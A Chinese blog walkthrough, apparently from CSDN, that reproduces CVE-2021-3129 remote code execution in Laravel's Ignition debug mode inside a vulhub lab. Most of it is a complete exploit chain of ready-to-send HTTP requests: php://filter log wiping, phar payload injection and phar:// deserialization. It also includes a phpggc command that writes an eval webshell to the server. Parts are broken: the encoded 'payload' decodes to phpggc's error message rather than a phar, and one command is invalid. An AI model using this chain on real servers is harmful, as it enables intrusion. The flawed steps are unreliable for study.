Laravel Debug mode 远程代码执行漏洞(CVE-2021-3129 )

文章详细介绍了如何利用CVE-2021-3129漏洞在开启Debug模式的Laravel应用中实现远程代码执行。通过vulhub搭建环境,利用MakeViewVariableOptionalSolution类的方法,结合php://filter、base64编码和文件操作,首先清空日志,然后写入恶意payload,最后通过phar协议触发反序列化,成功获取shell。
摘要由CSDN通过智能技术生成

目录

vulhub搭建

漏洞测试

漏洞分析

清空日志文件

写入payload

日志对齐

 写入空子节

漏洞利用


 

实验机:

kali 192.168.200.128 

vulhub搭建

 在vulhub/laravel/CVE-2021-3129目录下启动容器

sudo docker-compose up -d

ip为8080,直接访问192.168.200.128:8080

 至此我们的环境就搭好了

漏洞测试

 接下来bp抓包,将数据包改成

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.200.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 157


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "aaaaa"
 }
}

可以看到返回了file_get_contents错误,说明是存在这个漏洞的

漏洞分析

找到/laravel/vendor/facade/ignition/src/Solutions目录下的php文件

 打开后发现

<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', []));

        return response('');
    }
}

调用对应solution对象的run()方法,并传入参数parameters

 再看到MakeViewVariableOptionalSolution.php中的run函数

<?php

namespace Facade\Ignition\Solutions;

use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ......

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            // 将makeOptional()方法的结果输出对应文件中(viewFile参数指定)
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        // 调用file_get_contents方法将传入的参数作为路径读取文件内容,用$originalContents存储,作为原始内容
        $originalContents = file_get_contents($parameters['viewFile']);
        // 处理读取的内容,若文件内容中存在‘$variableNamed的值’,则替换为‘$variableNamed的值??’,将处理后的内容使用$newContents存储,作为新的内容
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
		// 以下代码为处理原始内容与新内容
        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
		// 只要原始内容中不含‘$variableNamed的值’,就可以让$originalContents与$newContents的值会相同,返回的就是true
        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }

总之就是利用file_get_contents函数来读取viewFile

而这个又在$parameters中,是可控的于是我们可以通过各种协议实现漏洞利用

这也说明了前面传入的viewFile是aaaaa后会出现file_get_contents报错

此外当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。 

之所以说是利用log日志文件是因为,phar在这里没有文件上传的点来上传phar文件,所以这是想要利用对传入的viewFile在报错后传入日志文件来在log文件中写入phar的恶意编码,最后利用phar://协议来触发反序列化实现getshell

而解析一个文件是否为phar文件关键在于是否为phar文件头

所以接下来的就是想办法向日志文件中写入paylaod

清空日志文件

 要知道利用日志就要先清空原来的日志内容,这里要利用到php://filter 中的 convert.base64-decode 过滤器的特性我们首先将日志内容转换成非base64的编码,然后利用这个过滤器进行过滤,因为日志的原内容全是非base64编码的,所以在解码的时候就会解码失败,返回空内容,而当我们以写的形式去利用这个特性的时候就可以清空日志内容了

 这里就是base64编码后的test

但是这也要先把原日志内容转化为非base64的编码先,这里利用先转UTF-16然后再编码不可见字符,最后换回UTF-8字符来实现

convert.iconv.utf-8.utf-16be
convert.quoted-printable-encode
convert.iconv.utf-16be.utf-8 

利用管道符来连接最后用base64过滤器实现清空日志

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

写入payload

在清空日志后就要写入正确的payload了,但通过查看日志可以发现

日志对一个报错内容是

[时间] [报错信息字符串] viewFile的值 [报错信息字符串] viewFile的值 [报错信息字符串] 
...
[报错信息字符串] 部分viewFile的值 [报错信息字符串]
...

 哪我们写入的payload也会是这样,但是我们只要一个payload就够了后面的内容就要想办法去掉,这里我们利用前面同样的方法可以先将payload进行其他编码,然后在读取的时候再转回原编码,这个是为了后续的删除多余的内容做准备

 我们输入的内容要编码就会一起编码,因此也会一起过滤

所以我们利用UTF-16两字节为一个单位的特性,在我们要截断的地方多添加一个字节导致后面的字节发生错位从而改变后面的编码,我们就将这些错位的编码进行过滤就可以去掉多余的payload内容了

先将UTF-16编码的字符写入到文件中,再执行php为协议查看

之后在UTF-16编码中payload后面添加一个字符X而后在后面还有添加一个X使得UTF-16编码正常不报错

 这样就可以把多余的payload去除掉了

日志对齐

 要知道日志不一定是两个字节出现的,这会对我们去掉对于payload有影响,我们要对齐传入的内容,这里可以通过先传入一个无关紧要的内容用于初始化待再传入我们的payyload时就可以对齐了

 写入空子节

 在写入Payload到日志文件中我们有时需要写入空子节\\00,但我们使用file_get_contents()传入\00的时候php会报错,无法将空字节(\00)写入到文件中。面对这种情况php为了将不可见字符打印出来,提供了convert.quoted-printable-encode过滤器,其将字符转成ascii后前面加个=号。

 同理利用convert.quoted-printable-decode也是可以解码的

这样就可以写入空字节了

漏洞利用

 还有前面的请求头,只就依次传入不同的内容一步一步实现getshell 

清空日志

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.200.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 317


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}

写入payload 

首先先写入一句话木马到web.shell中

 <?php  eval($_POST[cmd]);?>

 base64编码

PD9waHAgIGV2YWwoJF9QT1NUW2NtZF0pOz8+

 这里将一句话木马生成phar文件要利用攻击phpggc

拉取工具

sudo clone https://github.com/ambionics/phpggc.git

下好后在该目录下输入

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgIGV2YWwoJF9QT1NUW2NtZF0pOz8+|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
  1. php - 运行 PHP 解释器。
  2. -d "phar.readonly=0" - 设置 PHP 配置参数 phar.readonly 的值为 0,这是为了启用 PHAR 文件的写入操作。
  3. ./phpggc Laravel/RCE5 - 这是一个使用 PHP Object Injection (POI) 漏洞的工具(phpggc),使用 Laravel 框架的 RCE 漏洞类型(RCE5)。它会生成一个恶意 PHAR 文件。
  4. system('echo PD9waHAgIGV2YWwoJF9QT1NUW2NtZF0pOz8+|base64 -d > /var/www/html/shell.php'); - 在目标服务器上执行的系统命令。该命令执行的动作是将经过 Base64 编码的 PHP 代码解码并写入到 /var/www/html/shell.php 文件中。解码后的代码是 <?php eval($_POST[cmd]);?>,用于创建一个反弹 shell。
  5. --phar phar - 指定生成的 PHAR 文件名为 phar
  6. -o php://output - 将生成的恶意 PHAR 文件输出到标准输出。
  7. | base64 -w 0 - 将输出结果以 Base64 编码并移除换行符。
  8. | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" - 通过 Python 脚本进一步处理 Base64 编码的输出结果,将其转换为十六进制格式,并用 = 字符包裹起来。

 得到

注意要在生成后的编码最后加上一个字符使后面的存入日志的编码错开

=54=00=6D=00=46=00=74=00=5A=00=53=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=4F=00=69=00=42=00=4D=00=59=00=58=00=4A=00=68=00=64=00=6D=00=56=00=73=00=4C=00=31=00=4A=00=44=00=52=00=54=00=55=00=4B=00=56=00=6D=00=56=00=79=00=63=00=32=00=6C=00=76=00=62=00=69=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=4F=00=69=00=41=00=31=00=4C=00=6A=00=67=00=75=00=4D=00=7A=00=41=00=4B=00=56=00=48=00=6C=00=77=00=5A=00=53=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=4F=00=69=00=42=00=53=00=51=00=30=00=55=00=36=00=49=00=46=00=42=00=49=00=55=00=43=00=42=00=44=00=62=00=32=00=52=00=6C=00=43=00=6C=00=5A=00=6C=00=59=00=33=00=52=00=76=00=63=00=69=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=44=00=6F=00=67=00=58=00=31=00=39=00=6B=00=5A=00=58=00=4E=00=30=00=63=00=6E=00=56=00=6A=00=64=00=41=00=70=00=4A=00=62=00=6D=00=5A=00=76=00=63=00=6D=00=31=00=68=00=64=00=47=00=6C=00=76=00=62=00=6E=00=4D=00=67=00=49=00=43=00=41=00=36=00=49=00=41=00=70=00=46=00=65=00=47=00=56=00=6A=00=64=00=58=00=52=00=6C=00=63=00=79=00=42=00=6E=00=61=00=58=00=5A=00=6C=00=62=00=69=00=42=00=51=00=53=00=46=00=41=00=67=00=59=00=32=00=39=00=6B=00=5A=00=53=00=42=00=30=00=61=00=48=00=4A=00=76=00=64=00=57=00=64=00=6F=00=49=00=47=00=56=00=32=00=59=00=57=00=77=00=6F=00=4B=00=53=00=34=00=4B=00=55=00=6D=00=56=00=78=00=64=00=57=00=6C=00=79=00=5A=00=58=00=4D=00=67=00=54=00=57=00=39=00=6A=00=61=00=32=00=56=00=79=00=65=00=53=00=77=00=67=00=64=00=32=00=68=00=70=00=59=00=32=00=67=00=67=00=61=00=58=00=4D=00=67=00=61=00=57=00=34=00=67=00=64=00=47=00=68=00=6C=00=49=00=48=00=4A=00=6C=00=63=00=58=00=56=00=70=00=63=00=6D=00=55=00=74=00=5A=00=47=00=56=00=32=00=49=00=48=00=42=00=68=00=59=00=32=00=74=00=68=00=5A=00=32=00=55=00=75=00=43=00=67=00=70=00=46=00=55=00=6C=00=4A=00=50=00=55=00=6A=00=6F=00=67=00=53=00=57=00=35=00=32=00=59=00=57=00=78=00=70=00=5A=00=43=00=42=00=68=00=63=00=6D=00=64=00=31=00=62=00=57=00=56=00=75=00=64=00=48=00=4D=00=67=00=5A=00=6D=00=39=00=79=00=49=00=48=00=52=00=35=00=63=00=47=00=55=00=67=00=49=00=6C=00=4A=00=44=00=52=00=54=00=6F=00=67=00=55=00=45=00=68=00=51=00=49=00=45=00=4E=00=76=00=5A=00=47=00=55=00=69=00=49=00=41=00=6F=00=75=00=4C=00=33=00=42=00=6F=00=63=00=47=00=64=00=6E=00=59=00=79=00=42=00=4D=00=59=00=58=00=4A=00=68=00=64=00=6D=00=56=00=73=00=4C=00=31=00=4A=00=44=00=52=00=54=00=55=00=4B=00x

传送payload数据包之前,先传入一个无关紧要的数据包

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.200.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 152


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "AA"
 }
}

 最后传入payload数据包

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.200.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 2553


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "=54=00=6D=00=46=00=74=00=5A=00=53=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=4F=00=69=00=42=00=4D=00=59=00=58=00=4A=00=68=00=64=00=6D=00=56=00=73=00=4C=00=31=00=4A=00=44=00=52=00=54=00=55=00=4B=00=56=00=6D=00=56=00=79=00=63=00=32=00=6C=00=76=00=62=00=69=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=4F=00=69=00=41=00=31=00=4C=00=6A=00=67=00=75=00=4D=00=7A=00=41=00=4B=00=56=00=48=00=6C=00=77=00=5A=00=53=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=4F=00=69=00=42=00=53=00=51=00=30=00=55=00=36=00=49=00=46=00=42=00=49=00=55=00=43=00=42=00=44=00=62=00=32=00=52=00=6C=00=43=00=6C=00=5A=00=6C=00=59=00=33=00=52=00=76=00=63=00=69=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=43=00=41=00=67=00=49=00=44=00=6F=00=67=00=58=00=31=00=39=00=6B=00=5A=00=58=00=4E=00=30=00=63=00=6E=00=56=00=6A=00=64=00=41=00=70=00=4A=00=62=00=6D=00=5A=00=76=00=63=00=6D=00=31=00=68=00=64=00=47=00=6C=00=76=00=62=00=6E=00=4D=00=67=00=49=00=43=00=41=00=36=00=49=00=41=00=70=00=46=00=65=00=47=00=56=00=6A=00=64=00=58=00=52=00=6C=00=63=00=79=00=42=00=6E=00=61=00=58=00=5A=00=6C=00=62=00=69=00=42=00=51=00=53=00=46=00=41=00=67=00=59=00=32=00=39=00=6B=00=5A=00=53=00=42=00=30=00=61=00=48=00=4A=00=76=00=64=00=57=00=64=00=6F=00=49=00=47=00=56=00=32=00=59=00=57=00=77=00=6F=00=4B=00=53=00=34=00=4B=00=55=00=6D=00=56=00=78=00=64=00=57=00=6C=00=79=00=5A=00=58=00=4D=00=67=00=54=00=57=00=39=00=6A=00=61=00=32=00=56=00=79=00=65=00=53=00=77=00=67=00=64=00=32=00=68=00=70=00=59=00=32=00=67=00=67=00=61=00=58=00=4D=00=67=00=61=00=57=00=34=00=67=00=64=00=47=00=68=00=6C=00=49=00=48=00=4A=00=6C=00=63=00=58=00=56=00=70=00=63=00=6D=00=55=00=74=00=5A=00=47=00=56=00=32=00=49=00=48=00=42=00=68=00=59=00=32=00=74=00=68=00=5A=00=32=00=55=00=75=00=43=00=67=00=70=00=46=00=55=00=6C=00=4A=00=50=00=55=00=6A=00=6F=00=67=00=53=00=57=00=35=00=32=00=59=00=57=00=78=00=70=00=5A=00=43=00=42=00=68=00=63=00=6D=00=64=00=31=00=62=00=57=00=56=00=75=00=64=00=48=00=4D=00=67=00=5A=00=6D=00=39=00=79=00=49=00=48=00=52=00=35=00=63=00=47=00=55=00=67=00=49=00=6C=00=4A=00=44=00=52=00=54=00=6F=00=67=00=55=00=45=00=68=00=51=00=49=00=45=00=4E=00=76=00=5A=00=47=00=55=00=69=00=49=00=41=00=6F=00=75=00=4C=00=33=00=42=00=6F=00=63=00=47=00=64=00=6E=00=59=00=79=00=42=00=4D=00=59=00=58=00=4A=00=68=00=64=00=6D=00=56=00=73=00=4C=00=31=00=4A=00=44=00=52=00=54=00=55=00=4B=00x"
 }
}

 接下来是删除多余的payload

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.200.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 292


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}

 最后一步就是phar协议触发反序列化

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.200.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 199


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "asdf",
 "viewFile": "phar://../storage/logs/laravel.log/test.txt"
 }
}


 

最后访问shell.php即可POST进行getshell

 


总结:

Laravel < 8.4.3可以实现日志利用造成phar反序列化

参考学习:

(3条消息) 【漏洞复现】CVE-2021-3129 Laravel Debug mode 远程代码执行漏洞_李火火的安全圈的博客-CSDN博客

Laravel RCE(CVE-2021-3129)漏洞复现 - FreeBuf网络安全行业门户 

CVE-2021-3129:Laravel远程代码漏洞复现分析 - 华为云开发者联盟的个人空间 - OSCHINA - 中文开源技术交流社区 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值